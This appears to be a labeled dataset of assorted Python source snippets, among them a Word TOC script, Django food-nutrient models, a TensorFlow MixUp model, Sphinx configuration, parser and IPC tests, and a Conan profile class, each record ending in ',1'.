Simplified Chinese version of Microsoft Word. """""" __author__ = ""Mark Pilgrim (mark@diveintopython.org)"" __version__ = ""$Revision: 1.2 $"" __date__ = ""$Date: 2004/05/05 21:57:19 $"" __copyright__ = ""Copyright (c) 2001 Mark Pilgrim"" __license__ = ""Python"" import sys, os from win32com.client import gencache, constants def makeRealWordDoc(infile, outfile): word = gencache.EnsureDispatch(""Word.Application"") try: worddoc = word.Documents.Open(FileName=infile) try: worddoc.TablesOfContents.Add(Range=word.ActiveWindow.Selection.Range, \ RightAlignPageNumbers=1, \ UseHeadingStyles=1, \ UpperHeadingLevel=1, \ LowerHeadingLevel=2, \ IncludePageNumbers=1, \ AddedStyles='', \ UseHyperlinks=1, \ HidePageNumbersInWeb=1) worddoc.TablesOfContents(1).TabLeader = constants.wdTabLeaderDots worddoc.TablesOfContents.Format = constants.wdIndexIndent word.ActiveWindow.ActivePane.View.SeekView = constants.wdSeekCurrentPageHeader word.Selection.TypeText(Text=""Dive Into Python\t\thttp://diveintopython.org/"") word.ActiveWindow.ActivePane.View.SeekView = constants.wdSeekCurrentPageFooter word.NormalTemplate.AutoTextEntries(""- Ò³Âë -"").Insert(Where=word.ActiveWindow.Selection.Range) word.ActiveWindow.View.Type = constants.wdPrintView worddoc.TablesOfContents(1).Update() worddoc.SaveAs(FileName=outfile, \ FileFormat=constants.wdFormatDocument) finally: worddoc.Close(0) del worddoc finally: word.Quit() del word if __name__ == ""__main__"": infile = os.path.normpath(os.path.join(os.getcwd(), sys.argv[1])) outfile = os.path.normpath(os.path.join(os.getcwd(), sys.argv[2])) makeRealWordDoc(infile, outfile) ",1 " without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ""AS IS"" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """"""Package contenant la commande 'scripting alerte info'."""""" from primaires.interpreteur.masque.parametre import Parametre from primaires.format.fonctions import echapper_accolades from primaires.format.date import get_date class PrmInfo(Parametre): """"""Commande 'scripting alerte info'"""""" def __init__(self): """"""Constructeur du paramètre."""""" Parametre.__init__(self, ""info"", ""info"") self.schema = """" self.aide_courte = ""affiche des informations sur l'alerte"" self.aide_longue = \ ""Affiche des informations sur l'alerte permettant de la corriger."" def interpreter(self, personnage, dic_masques): """"""Méthode d'interprétation de commande"""""" nombre = dic_masques[""nombre""].nombre try: alerte = type(self).importeur.scripting.alertes[nombre] except KeyError: personnage << ""|err|Ce numéro d'alerte est invalide.|ff|"" else: msg = ""Informations sur l'alerte {} :"".format(alerte.no) msg += ""\n S'est produit sur {} {}"".format(alerte.type, alerte.objet) + "" "" + get_date(alerte.date.timetuple()) msg += ""\n Evenement {}, test {}, ligne {}"".format( alerte.evenement, echapper_accolades(alerte.test), alerte.no_ligne) msg += ""\n {}\n"".format(echapper_accolades(alerte.ligne)) msg += ""\n Message d'erreur : |err|{}|ff|"".format( echapper_accolades(alerte.message)) if personnage.nom_groupe == ""administrateur"": msg += ""\n Traceback Python :\n {}"".format( echapper_accolades(alerte.traceback)) personnage << msg ",1 "out # modification, are permitted provided that the following conditions are met: # # Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # Redistributions in binary form must reproduce the above copyright notice, this # list of conditions and the following disclaimer in the documentation and/or # other materials provided with the distribution. # # Neither the name of the Purdue University nor the names of its contributors # may be used to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ""AS IS"" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """"""Test for Credential cache library."""""" __copyright__ = 'Copyright (C) 2009, Purdue University' __license__ = 'BSD' __version__ = '#TRUNK#' import unittest import os import roster_core from roster_server import credentials CONFIG_FILE = 'test_data/roster.conf' # Example in test_data SCHEMA_FILE = '../roster-core/data/database_schema.sql' DATA_FILE = 'test_data/test_data.sql' class TestCredentialsLibrary(unittest.TestCase): def setUp(self): self.config_instance = roster_core.Config(file_name=CONFIG_FILE) self.cred_instance = credentials.CredCache(self.config_instance, u'sharrell') db_instance = self.config_instance.GetDb() db_instance.CreateRosterDatabase() data = open(DATA_FILE, 'r').read() db_instance.StartTransaction() db_instance.cursor.execute(data) db_instance.EndTransaction() db_instance.close() self.core_instance = roster_core.Core(u'sharrell', self.config_instance) def is_valid_uuid (self, uuid): """""" TAKEN FROM THE BLUEZ MODULE is_valid_uuid (uuid) -> bool returns True if uuid is a valid 128-bit UUID. valid UUIDs are always strings taking one of the following forms: XXXX XXXXXXXX XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX where each X is a hexadecimal digit (case insensitive) """""" try: if len (uuid) == 4: if int (uuid, 16) < 0: return False elif len (uuid) == 8: if int (uuid, 16) < 0: return False elif len (uuid) == 36: pieces = uuid.split (""-"") if len (pieces) != 5 or \ len (pieces[0]) != 8 or \ len (pieces[1]) != 4 or \ len (pieces[2]) != 4 or \ len (pieces[3]) != 4 or \ len (pieces[4]) != 12: return False [ int (p, 16) for p in pieces ] else: return False except ValueError: return False except TypeError: return False return True def testCredentials(self): self.assertTrue(self.cred_instance.Authenticate(u'sharrell', 'test')) cred_string = self.cred_instance.GetCredentials(u'sharrell', 'test', self.core_instance) self.assertEqual(self.cred_instance.CheckCredential(cred_string, u'sharrell', self.core_instance), u'') self.assertEqual(self.cred_instance.CheckCredential(u'test', u'sharrell', self.core_instance), None) if( __name__ == '__main__' ): unittest.main() ",1 "execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # import os import sys # Set variable so that todos are shown in local build on_rtd = os.environ.get(""READTHEDOCS"") == ""True"" # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. sys.path.insert(0, os.path.abspath("".."")) # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ ""sphinx.ext.autodoc"", ""sphinx.ext.doctest"", ""sphinx.ext.todo"", ""sphinx.ext.coverage"", ""sphinx.ext.mathjax"", ""sphinx.ext.ifconfig"", ""sphinx.ext.viewcode"", ""sphinxcontrib.bibtex"", ""sphinx.ext.imgconverter"", ] bibtex_bibfiles = [""source/refs.bib""] # Add any paths that contain templates here, relative to this directory. templates_path = [""_templates""] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = "".rst"" # The master toctree document. master_doc = ""index"" # General information about the project. project = ""grmpy"" copyright_ = ""2018, grmpy-dev team"" author = ""grmpy-dev team"" # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = ""1.0"" # The full version, including alpha/beta/rc tags. release = ""1.0"" # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set ""language"" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = [""_build"", ""Thumbs.db"", "".DS_Store""] # The name of the Pygments (syntax highlighting) style to use. pygments_style = ""sphinx"" # If true, `todo` and `todoList` produce output, else they produce nothing. We # want to supress the output on readthedocs. if on_rtd: todo_include_todos = False else: todo_include_todos = True # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = ""sphinx_rtd_theme"" # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named ""default.css"" will overwrite the builtin ""default.css"". html_static_path = [] # -- Options for HTMLHelp output ------------------------------------------ # Output file base name for HTML help builder. htmlhelp_basename = ""grmpydoc"" # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # ""pointsize"": ""12pt"", # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # ""figure_align"": ""htbp"", } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, ""grmpy.tex"", ""grmpy Documentation"", ""Development Team"", ""manual"") ] # -- Options for manual page output --------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [(master_doc, ""grmpy"", ""grmpy Documentation"", [author], 1)] # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ( master_doc, ""grmpy"", ""grmpy Documentation"", author, ""grmpy"", ""One line description of project."", ""Miscellaneous"", ) ] # -- Options for Epub output ---------------------------------------------- # Bibliographic Dublin Core info. epub_title = project epub_author = author epub_publisher = author epub_copyright = copyright_ # The unique identifier of the text. This can be a ISBN number # or the project homepage. # # epub_identifier = '' # A unique identification for the text. # # epub_uid = '' # A list of files that should not be packed into the epub file. epub_exclude_files = [""search.html""] ",1 "iance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from boundary import ApiCli class SourceList(ApiCli): def __init__(self): ApiCli.__init__(self) self.path = ""v1/account/sources/"" self.method = ""GET"" def getDescription(self): return ""Lists the sources in a Boundary account"" ",1 "is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Database Navigator is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Database Navigator. If not, see . # import sys import re import codecs from collections import Counter filename = sys.argv[1] with codecs.open(filename, encoding='utf-8') as f: text = f.read() m = re.findall(r'^#{2,3} .*$', text, re.MULTILINE) def title(s): return re.sub(r'#+ ', '', s) def fragment(s): return '#' + re.sub(r'[^a-z-]', '', re.sub(r'#+ ', '', s).replace(' ', '-').lower()) def depth(s): return len(re.match(r'(#*)', s).group(0)) c = Counter() toc = [] for header in m: t = title(header) f = fragment(header) d = depth(header) if c[f] > 0: toc.append('{}- [{}]({}-{})'.format('\t'*(d-2), t, f, c[f])) else: toc.append('{}- [{}]({})'.format('\t'*(d-2), t, f)) c[f] += 1 with codecs.open(filename, 'w', encoding='utf-8') as f: f.write(text.replace('[TOC]', '\n'.join(toc))) ",1 "the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""mixup: Beyond Empirical Risk Minimization. Adaption to SSL of MixUp: https://arxiv.org/abs/1710.09412 """""" import functools import os import tensorflow as tf from absl import app from absl import flags from libml import data, utils, models from libml.utils import EasyDict FLAGS = flags.FLAGS class Mixup(models.MultiModel): def augment(self, x, l, beta, **kwargs): del kwargs mix = tf.distributions.Beta(beta, beta).sample([tf.shape(x)[0], 1, 1, 1]) mix = tf.maximum(mix, 1 - mix) xmix = x * mix + x[::-1] * (1 - mix) lmix = l * mix[:, :, 0, 0] + l[::-1] * (1 - mix[:, :, 0, 0]) return xmix, lmix def model(self, batch, lr, wd, ema, **kwargs): hwc = [self.dataset.height, self.dataset.width, self.dataset.colors] xt_in = tf.placeholder(tf.float32, [batch] + hwc, 'xt') # For training x_in = tf.placeholder(tf.float32, [None] + hwc, 'x') y_in = tf.placeholder(tf.float32, [batch] + hwc, 'y') l_in = tf.placeholder(tf.int32, [batch], 'labels') wd *= lr classifier = lambda x, **kw: self.classifier(x, **kw, **kwargs).logits def get_logits(x): logits = classifier(x, training=True) return logits x, labels_x = self.augment(xt_in, tf.one_hot(l_in, self.nclass), **kwargs) logits_x = get_logits(x) post_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) y, labels_y = self.augment(y_in, tf.nn.softmax(get_logits(y_in)), **kwargs) labels_y = tf.stop_gradient(labels_y) logits_y = get_logits(y) loss_xe = tf.nn.softmax_cross_entropy_with_logits_v2(labels=labels_x, logits=logits_x) loss_xe = tf.reduce_mean(loss_xe) loss_xeu = tf.nn.softmax_cross_entropy_with_logits_v2(labels=labels_y, logits=logits_y) loss_xeu = tf.reduce_mean(loss_xeu) tf.summary.scalar('losses/xe', loss_xe) tf.summary.scalar('losses/xeu', loss_xeu) ema = tf.train.ExponentialMovingAverage(decay=ema) ema_op = ema.apply(utils.model_vars()) ema_getter = functools.partial(utils.getter_ema, ema) post_ops.append(ema_op) post_ops.extend([tf.assign(v, v * (1 - wd)) for v in utils.model_vars('classify') if 'kernel' in v.name]) train_op = tf.train.AdamOptimizer(lr).minimize(loss_xe + loss_xeu, colocate_gradients_with_ops=True) with tf.control_dependencies([train_op]): train_op = tf.group(*post_ops) return EasyDict( xt=xt_in, x=x_in, y=y_in, label=l_in, train_op=train_op, classify_raw=tf.nn.softmax(classifier(x_in, training=False)), # No EMA, for debugging. classify_op=tf.nn.softmax(classifier(x_in, getter=ema_getter, training=False))) def main(argv): utils.setup_main() del argv # Unused. dataset = data.DATASETS()[FLAGS.dataset]() log_width = utils.ilog2(dataset.width) model = Mixup( os.path.join(FLAGS.train_dir, dataset.name), dataset, lr=FLAGS.lr, wd=FLAGS.wd, arch=FLAGS.arch, batch=FLAGS.batch, nclass=dataset.nclass, ema=FLAGS.ema, beta=FLAGS.beta, scales=FLAGS.scales or (log_width - 2), filters=FLAGS.filters, repeat=FLAGS.repeat) model.train(FLAGS.train_kimg << 10, FLAGS.report_kimg << 10) if __name__ == '__main__': utils.setup_tf() flags.DEFINE_float('wd', 0.02, 'Weight decay.') flags.DEFINE_float('ema', 0.999, 'Exponential moving average of params.') flags.DEFINE_float('beta', 0.5, 'Mixup beta distribution.') flags.DEFINE_integer('scales', 0, 'Number of 2x2 downscalings in the classifier.') flags.DEFINE_integer('filters', 32, 'Filter size of convolutions.') flags.DEFINE_integer('repeat', 4, 'Number of residual layers per stage.') FLAGS.set_default('dataset', 'cifar10.3@250-5000') FLAGS.set_default('batch', 64) FLAGS.set_default('lr', 0.002) FLAGS.set_default('train_kimg', 1 << 16) app.run(main) ",1 "': ""Blende:\t\tF"", # 'Exif.Photo.ExposureProgram', 'Exif.Photo.ISOSpeedRatings': ""ISO:\t\t"", # 'Exif.Photo.SensitivityType', # 'Exif.Photo.ExifVersion', # 'Exif.Photo.DateTimeOriginal', # 'Exif.Photo.DateTimeDigitized', # 'Exif.Photo.ComponentsConfiguration', # 'Exif.Photo.CompressedBitsPerPixel', # 'Exif.Photo.ExposureBiasValue', # 'Exif.Photo.MaxApertureValue', # 'Exif.Photo.MeteringMode', # 'Exif.Photo.LightSource', # 'Exif.Photo.Flash', 'Exif.Photo.FocalLength': ""Brennweite:\t"" # 'Exif.Photo.MakerNote' } for i in range(1, len(sys.argv)): metadata = GExiv2.Metadata(sys.argv[i]) print(""file: {}"".format(sys.argv[i])) for key in phototags: try: print(""{}: {}"".format(phototags[key], metadata[key])) except KeyError: continue ",1 " Usage(models.Model): ip = models.CharField(max_length=50) method = models.CharField(max_length=3) path = models.CharField(max_length=100) params = models.CharField(max_length=255) def __str__(self): return self.ip @python_2_unicode_compatible class Element(models.Model): name = models.CharField(max_length=10) code = models.CharField(max_length=10) def __str__(self): return self.name class Meta: verbose_name = ""ธาตุ"" verbose_name_plural = ""ธาตุต่างๆ"" db_table = 'element' @python_2_unicode_compatible class Disease(models.Model): name = models.CharField(max_length=100, unique=True) description = models.CharField(max_length=255, null=True) is_congenital = models.BooleanField(default=False) created_by = models.CharField(max_length=50, null=True) created_date = models.DateTimeField(auto_now_add=True) last_modified = models.DateTimeField(auto_now=True, null=True) last_modified_by = models.CharField(max_length=30, null=True, blank=True) def __str__(self): return self.name class Meta: verbose_name = ""เชื้อโรค"" verbose_name_plural = ""กลุ่มเชื้อโรค"" db_table = 'disease' class Nutrient(models.Model): water = models.DecimalField(max_digits=14, decimal_places=4) protein = models.DecimalField(max_digits=14, decimal_places=4) fat = models.DecimalField(max_digits=14, decimal_places=4) carbohydrate = models.DecimalField(max_digits=14, decimal_places=4) dietary_fiber = models.DecimalField(max_digits=14, decimal_places=4) ash = models.DecimalField(max_digits=14, decimal_places=4) calcium = models.DecimalField(max_digits=14, decimal_places=4) phosphorus = models.DecimalField(max_digits=14, decimal_places=4) iron = models.DecimalField(max_digits=14, decimal_places=4) retinol = models.DecimalField(max_digits=14, decimal_places=4) beta_carotene = models.DecimalField(max_digits=14, decimal_places=4) vitamin_a = models.DecimalField(max_digits=14, decimal_places=4) vitamin_e = models.DecimalField(max_digits=14, decimal_places=4) thiamin = models.DecimalField(max_digits=14, decimal_places=4) riboflavin = models.DecimalField(max_digits=14, decimal_places=4) niacin = models.DecimalField(max_digits=14, decimal_places=4) vitamin_c = models.DecimalField(max_digits=14, decimal_places=4) def __str__(self): return 'id: ' + str(self._get_pk_val()) class Meta: verbose_name = ""สารอาหาร"" verbose_name_plural = ""กลุ่มสารอาหาร"" db_table = 'nutrient' @python_2_unicode_compatible class IngredientCategory(models.Model): name = models.CharField(max_length=50, unique=True) created_by = models.CharField(max_length=50) created_date = models.DateTimeField(auto_now_add=True) last_modified = models.DateTimeField(auto_now=True, null=True) last_modified_by = models.CharField(max_length=30, null=True, blank=True) def __str__(self): return self.name class Meta: verbose_name = ""หมวดหมู่วัตถุดิบ"" verbose_name_plural = ""กลุ่มหมวดหมู่วัตถุดิบ"" db_table = 'ingredient_type' @python_2_unicode_compatible class FoodCategory(models.Model): name = models.CharField(max_length=50, unique=True) created_by = models.CharField(max_length=50) created_date = models.DateTimeField(auto_now_add=True) last_modified = models.DateTimeField(auto_now=True, null=True) last_modified_by = models.CharField(max_length=30, null=True, blank=True) def __str__(self): return self.name class Meta: verbose_name = ""หมวดหมู่อาหาร"" verbose_name_plural = ""กลุ่มหมวดหมู่อาหาร"" db_table = 'food_type' @python_2_unicode_compatible class Ingredient(models.Model): name = models.CharField(max_length=100, unique=True) description = models.CharField(max_length=255, blank=True, null=True) calories = models.IntegerField(default=0) nutrient = models.ForeignKey(Nutrient, on_delete=models.SET_NULL, blank=True, null=True) element = models.ForeignKey(Element, on_delete=models.SET_NULL, blank=True, null=True) category = models.ManyToManyField(IngredientCategory, blank=True) healing = models.ManyToManyField(Disease, related_name=""healing"", blank=True) affect = models.ManyToManyField(Disease, related_name=""affect"", blank=True) code = models.IntegerField(default=0) def __str__(self): return self.name class Meta: verbose_name = ""วัตถุดิบ"" verbose_name_plural = ""กลุ่มวัตถุดิบ"" db_table = 'ingredient' @python_2_unicode_compatible class Food(models.Model): name = models.CharField(max_length=100, unique=True) description = models.CharField(max_length=255, blank=True, null=True, default="""") calories = models.IntegerField(default=0) nutrient = models.ForeignKey(Nutrient, on_delete=models.SET_NULL, blank=True, null=True) ingredients = models.ManyToManyField(Ingredient, through='Menu') category = models.ManyToManyField(FoodCategory) created_by = models.CharField(max_length=50, default="""") created_date = models.DateTimeField(auto_now_add=True) last_modified = models.DateTimeField(auto_now=True, null=True) last_modified_by = models.CharField(max_length=30, null=True, blank=True) code = models.IntegerField(default=0) def __str__(self): return self.name class Meta: verbose_name = ""อาหาร"" verbose_name_plural = ""กลุ่มอาหาร"" db_table = 'food' class Menu(models.Model): food = models.ForeignKey(Food, on_delete=models.CASCADE) ingredient = models.ForeignKey(Ingredient, on_delete=models.CASCADE) weight = models.DecimalField(max_digits=14, decimal_places=4) name = models.CharField(max_length=100, blank=True, default="""") class Meta: db_table = 'menu' ",1 "builtins import dict import os import pytest from mariobros import mariofile SIMPLE_MARIOFILE = """"""[section_one] text one [section_two] text two """""" COMPLEX_MARIOFILE = """"""default text [section] \ntext section """""" GARBAGE_MARIOFILE = """"""default [garbage_section] # garbage """""" INVALID_SECTION_MARIOFILE = """""" # spaces not allowed in section name [section one] """""" MORE_COMPLEX_MARIOFILE = """"""# default [section_one] text one # comment text two # inline comment [section_two] text three [three] [DEFAULT] last"""""" def test_parse_sections(): simple_mariofile_sections = dict(mariofile.parse_sections(SIMPLE_MARIOFILE.splitlines(True))) assert len(simple_mariofile_sections) == 3 complex_mariofile_sections = dict(mariofile.parse_sections(COMPLEX_MARIOFILE.splitlines(True))) assert len(complex_mariofile_sections) == 2 assert sorted(complex_mariofile_sections.keys()) == ['DEFAULT', 'section'] assert complex_mariofile_sections['DEFAULT'] == ['default text\n', '\n'] with pytest.raises(mariofile.ConfigurationFileError): dict(mariofile.parse_sections(GARBAGE_MARIOFILE.splitlines(True))) with pytest.raises(mariofile.ConfigurationFileError): dict(mariofile.parse_sections(INVALID_SECTION_MARIOFILE.splitlines(True))) more_complex_mariofile_sections = dict( mariofile.parse_sections(MORE_COMPLEX_MARIOFILE.splitlines(True)) ) more_complex_mariofile_sections_keys = ['DEFAULT', 'section_one', 'section_two', 'three'] assert sorted(more_complex_mariofile_sections.keys()) == more_complex_mariofile_sections_keys assert more_complex_mariofile_sections['three'] == [] CRASH_MARIOFILE_1 = ''' [a] name target: a = 1 ''' CRASH_MARIOFILE_2 = ''' [a] name variable = 1 ''' def test_statements(): with pytest.raises(mariofile.ConfigurationFileError): mariofile.parse_section_body(CRASH_MARIOFILE_1.splitlines()) with pytest.raises(mariofile.ConfigurationFileError): mariofile.parse_section_body(CRASH_MARIOFILE_2.splitlines()) STRING_PARSE_STATEMENTS = ''' # commento statement statement con commento #commento # altro commento ''' def test_parse_statements(): parsed_statement = mariofile.parse_statements(STRING_PARSE_STATEMENTS.splitlines()) assert '\n'.join(parsed_statement) == ""statement\nstatement con commento"" SECTION = """""" variable = 6 target: source task """""" SECTION_MULTIPLE_RULE = """""" target1: source1 task1 target2: source2 task2 """""" INVALID_CONFIG = """""" not a definition target: source """""" def test_parse_section_body(): output_section = { 'action_template': ' task', 'sources_repls': 'source', 'variable': '6', 'target_pattern': 'target', } assert mariofile.parse_section_body(SECTION.splitlines(True)) == output_section with pytest.raises(mariofile.ConfigurationFileError): mariofile.parse_section_body(SECTION_MULTIPLE_RULE.splitlines(True)) with pytest.raises(mariofile.ConfigurationFileError): mariofile.parse_section_body(INVALID_CONFIG.splitlines(True)) INCLUDE_FILE = """""" include prova.ini\t include\taltrofile.ini variable_definition = None [first_section] """""" INCLUDE_UNIQUE_FILE = ""include prova.ini"" def test_parse_include(): filepaths, current_line = mariofile.parse_include(INCLUDE_FILE.splitlines(True)) assert filepaths == ['prova.ini', 'altrofile.ini'] assert current_line == 4 filepaths, current_line = mariofile.parse_include(INCLUDE_UNIQUE_FILE.splitlines(True)) assert filepaths == ['prova.ini'] assert current_line == 1 MARIOFILE = """"""[DEFAULT] variable = 1 [section_one] target1: source1 task1 """""" MARIOFILE_AND_INCLUDE = """""" include test_parse_config.ini [section_include_1] """""" MARIOFILE_INCLUDE = """""" task_cmd = task_command [section_include] variable_include_2 = 0 target_include: source_include \t${task_cmd} [section_include_1] variable_include_3 = 3 """""" TOUCH_MARIOFILE = """""" DEFAULT: touch [task] target: source task """""" TEST_PARSE_CONFIG = """""" include test_include.ini variable_default = 1 [section_main] [section_include_1] variable_include1 = 3 """""" def test_parse_config(tmpdir): parsed_mariofile = { 'DEFAULT': { 'action_template': '', 'sources_repls': '', 'target_pattern': '', 'variable': '1' }, 'section_one': { 'action_template': ' task1', 'sources_repls': 'source1', 'target_pattern': 'target1'} } mariofile.parse_config(MARIOFILE.splitlines(True)) == parsed_mariofile parsed_mariofile_include_test = { 'DEFAULT': { 'action_template': '', 'sources_repls': '', 'target_pattern': '', 'task_cmd': 'task_command', }, 'section_include': { 'variable_include_2': '0', 'action_template': '\t${task_cmd}', 'target_pattern': 'target_include', 'sources_repls': 'source_include', }, 'section_include_1': { 'action_template': '', 'sources_repls': '', 'target_pattern': '', 'variable_include_3': '3', } } mario_folder = tmpdir.mkdir('tmpdir') f = mario_folder.join('test_parse_config.ini') f.write(MARIOFILE_INCLUDE) g = mario_folder.join('test_include.ini') g.write('') mario_folder.chdir() parsed_mariofile_include = mariofile.parse_config( MARIOFILE_AND_INCLUDE.splitlines(True), cwd=os.path.join(str(mario_folder.dirname), 'tmpdir') ) for key, value in parsed_mariofile_include.items(): assert value == parsed_mariofile_include_test[key], print(key) parsed_mariofile_multiple_include = { 'DEFAULT': { 'action_template': '', 'sources_repls': '', 'target_pattern': '', 'variable_default': '1', }, 'section_main': { 'action_template': u'', 'sources_repls': u'', 'target_pattern': u'' }, 'section_include_1': { 'action_template': '', 'sources_repls': '', 'target_pattern': '', 'variable_include1': '3', } } h = mario_folder.join('test_parse_config.ini') h.write(TEST_PARSE_CONFIG) parsed_mariofile_include = mariofile.parse_config(MARIOFILE_AND_INCLUDE.splitlines(True), cwd=os.path.join( str(mario_folder.dirname), 'tmpdir' )) assert parsed_mariofile_include == parsed_mariofile_multiple_include ",1 "ribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. # # @end:license import logging import random from . import ipc_test_pb2 from . import ipc_test logger = logging.getLogger(__name__) class IPCPerfTest(ipc_test.IPCPerfTestBase): async def test_small_messages(self): request = ipc_test_pb2.TestRequest() request.t.add(numerator=random.randint(0, 4), denominator=random.randint(1, 2)) await self.run_test(request, 5000) async def test_large_messages(self): request = ipc_test_pb2.TestRequest() for _ in range(10000): request.t.add(numerator=random.randint(0, 4), denominator=random.randint(1, 2)) await self.run_test(request, 100) ",1 "pt(): field=fields.Field(""test_field"", ""test field"", fields.Field.TYPE_TEXT_ONELINE, ""this is a test field"") assert console.prompt(field)==""999"" def test_input_parser(): sys_args=['-f', 'myfile'] exts=[""test""] models=[""test_model""] assert console.input_parser(models, exts, sys_args)==[""test_model"",""myfile"",""test""] with pytest.raises(ConsoleError): console.input_parser("""", """", sys_args) ",1 "ions import OptionsValues from conans.model.values import Values class Profile(object): """"""A profile contains a set of setting (with values), environment variables """""" def __init__(self): # Sections self.settings = OrderedDict() self.package_settings = defaultdict(OrderedDict) self.env_values = EnvValues() self.options = OptionsValues() self.build_requires = OrderedDict() # conan_ref Pattern: list of conan_ref @property def settings_values(self): return Values.from_list(list(self.settings.items())) @property def package_settings_values(self): result = {} for pkg, settings in self.package_settings.items(): result[pkg] = list(settings.items()) return result def dumps(self): result = [""[settings]""] for name, value in self.settings.items(): result.append(""%s=%s"" % (name, value)) for package, values in self.package_settings.items(): for name, value in values.items(): result.append(""%s:%s=%s"" % (package, name, value)) result.append(""[options]"") result.append(self.options.dumps()) result.append(""[build_requires]"") for pattern, req_list in self.build_requires.items(): 